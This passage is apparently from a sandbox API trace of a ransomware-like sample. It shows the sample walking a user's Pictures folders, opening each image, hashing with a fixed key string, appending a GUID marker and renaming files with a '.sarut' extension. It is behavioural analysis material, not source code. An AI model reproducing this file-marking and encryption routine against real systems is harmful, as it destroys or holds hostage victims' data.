(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\jiyYQcsk0aKO.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\jiyyqcsk0ako.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\jiyYQcsk0aKO.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\jiyyqcsk0ako.bmp.sarut")) returned 1 [0271.850] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db702e0, ftCreationTime.dwHighDateTime=0x1d4c6ce, ftLastAccessTime.dwLowDateTime=0x48929e90, ftLastAccessTime.dwHighDateTime=0x1d4d469, ftLastWriteTime.dwLowDateTime=0x48929e90, ftLastWriteTime.dwHighDateTime=0x1d4d469, nFileSizeHigh=0x0, nFileSizeLow=0xb4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="U LJ9GkFn_ZZk5OYhw-.jpg", cAlternateFileName="ULJ9GK~1.JPG")) returned 1 [0271.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0271.850] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\U LJ9GkFn_ZZk5OYhw-.jpg") returned=".jpg" [0271.850] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\U LJ9GkFn_ZZk5OYhw-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\u lj9gkfn_zzk5oyhw-.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.850] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=2892) returned 1 [0271.850] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.853] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.853] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.855] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xb4c, lpOverlapped=0x0) returned 1 [0271.855] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.855] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.855] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.855] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0271.856] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.856] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.856] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.856] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.856] GetLastError () returned 0x0 [0271.856] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.856] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0271.856] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.856] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.856] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.856] CloseHandle (hObject=0x5c4) returned 1 [0271.860] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\U LJ9GkFn_ZZk5OYhw-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\u lj9gkfn_zzk5oyhw-.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\U LJ9GkFn_ZZk5OYhw-.jpg.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\u lj9gkfn_zzk5oyhw-.jpg.sarut")) returned 1 [0271.862] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f86540, ftCreationTime.dwHighDateTime=0x1d4cda1, ftLastAccessTime.dwLowDateTime=0x3415d790, ftLastAccessTime.dwHighDateTime=0x1d4c571, ftLastWriteTime.dwLowDateTime=0x3415d790, ftLastWriteTime.dwHighDateTime=0x1d4c571, nFileSizeHigh=0x0, nFileSizeLow=0x14bab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VOisP_2QkSl3ZoB7yjo.gif", cAlternateFileName="VOISP_~1.GIF")) returned 1 [0271.862] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\VOisP_2QkSl3ZoB7yjo.gif") returned=".gif" [0271.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\VOisP_2QkSl3ZoB7yjo.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\voisp_2qksl3zob7yjo.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.862] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=84907) returned 1 [0271.862] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.865] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14b85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.865] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.867] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x14bab, lpOverlapped=0x0) returned 1 [0271.868] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.868] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.868] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.868] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0271.869] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.869] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.869] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.869] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.869] GetLastError () returned 0x0 [0271.869] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.870] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0271.871] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14bab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.871] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.871] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.872] CloseHandle (hObject=0x5c4) returned 1 [0271.874] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\VOisP_2QkSl3ZoB7yjo.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\voisp_2qksl3zob7yjo.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\VOisP_2QkSl3ZoB7yjo.gif.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\voisp_2qksl3zob7yjo.gif.sarut")) returned 1 [0271.875] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9a9da0, ftCreationTime.dwHighDateTime=0x1d4d304, ftLastAccessTime.dwLowDateTime=0x652900c0, ftLastAccessTime.dwHighDateTime=0x1d4c6a0, ftLastWriteTime.dwLowDateTime=0x652900c0, ftLastWriteTime.dwHighDateTime=0x1d4c6a0, nFileSizeHigh=0x0, nFileSizeLow=0x96e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WaWTw-qe_8kdov2ReXE.bmp", cAlternateFileName="WAWTW-~1.BMP")) returned 1 [0271.875] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\WaWTw-qe_8kdov2ReXE.bmp") returned=".bmp" [0271.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\WaWTw-qe_8kdov2ReXE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\wawtw-qe_8kdov2rexe.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.876] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=38625) returned 1 [0271.876] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.878] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x96bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.878] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.891] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x96e1, lpOverlapped=0x0) returned 1 [0271.892] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.892] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.892] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.892] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0271.893] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.893] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.893] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.893] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.893] GetLastError () returned 0x0 [0271.893] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.893] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0271.893] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x96e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.893] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.893] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.894] CloseHandle (hObject=0x5c4) returned 1 [0271.896] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\WaWTw-qe_8kdov2ReXE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\wawtw-qe_8kdov2rexe.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\WaWTw-qe_8kdov2ReXE.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\wawtw-qe_8kdov2rexe.bmp.sarut")) returned 1 [0271.898] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9d3c390, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x1f18f5c0, ftLastAccessTime.dwHighDateTime=0x1d4ca9e, ftLastWriteTime.dwLowDateTime=0x1f18f5c0, ftLastWriteTime.dwHighDateTime=0x1d4ca9e, nFileSizeHigh=0x0, nFileSizeLow=0xdffe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wso4Uc9Jo_0.png", cAlternateFileName="WSO4UC~1.PNG")) returned 1 [0271.898] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\wso4Uc9Jo_0.png") returned=".png" [0271.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\wso4Uc9Jo_0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\wso4uc9jo_0.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.898] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=57342) returned 1 [0271.898] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.901] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdfd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.901] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.903] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xdffe, lpOverlapped=0x0) returned 1 [0271.904] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.904] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.904] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.904] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0271.905] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.905] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.905] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.905] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.905] GetLastError () returned 0x0 [0271.905] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.905] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0271.905] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdffe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.906] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.906] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.906] CloseHandle (hObject=0x5c4) returned 1 [0271.908] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\wso4Uc9Jo_0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\wso4uc9jo_0.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\wso4Uc9Jo_0.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\wso4uc9jo_0.png.sarut")) returned 1 [0271.910] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9d3c390, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x1f18f5c0, ftLastAccessTime.dwHighDateTime=0x1d4ca9e, ftLastWriteTime.dwLowDateTime=0x1f18f5c0, ftLastWriteTime.dwHighDateTime=0x1d4ca9e, nFileSizeHigh=0x0, nFileSizeLow=0xdffe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wso4Uc9Jo_0.png", cAlternateFileName="WSO4UC~1.PNG")) returned 0 [0271.910] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0271.910] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0271.910] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.910] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0271.910] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0271.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\") returned="GbnfrHoOCWV\\" [0271.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\") returned="io8_8GuAwtxmu\\" [0271.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0271.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0271.910] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0271.910] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0271.910] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0271.910] PathFindFileNameW (pszPath="") returned="" [0271.911] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc7ede90, ftCreationTime.dwHighDateTime=0x1d4ca30, ftLastAccessTime.dwLowDateTime=0xe4772420, ftLastAccessTime.dwHighDateTime=0x1d4d063, ftLastWriteTime.dwLowDateTime=0xe4772420, ftLastWriteTime.dwHighDateTime=0x1d4d063, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0271.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.913] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc7ede90, ftCreationTime.dwHighDateTime=0x1d4ca30, ftLastAccessTime.dwLowDateTime=0xe4772420, ftLastAccessTime.dwHighDateTime=0x1d4d063, ftLastWriteTime.dwLowDateTime=0xe4772420, ftLastWriteTime.dwHighDateTime=0x1d4d063, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.913] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ded2390, ftCreationTime.dwHighDateTime=0x1d4c5e2, ftLastAccessTime.dwLowDateTime=0x7c557990, ftLastAccessTime.dwHighDateTime=0x1d4ca83, ftLastWriteTime.dwLowDateTime=0x7c557990, ftLastWriteTime.dwHighDateTime=0x1d4ca83, nFileSizeHigh=0x0, nFileSizeLow=0x5d0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3LXSiPCs.bmp", cAlternateFileName="")) returned 1 [0271.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.913] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0271.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.913] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\3LXSiPCs.bmp") returned=".bmp" [0271.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\3LXSiPCs.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\3lxsipcs.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.914] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=23820) returned 1 [0271.914] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.917] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5ce6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.917] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.919] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.919] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x5d0c, lpOverlapped=0x0) returned 1 [0271.919] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.919] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.919] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.920] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0271.920] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: 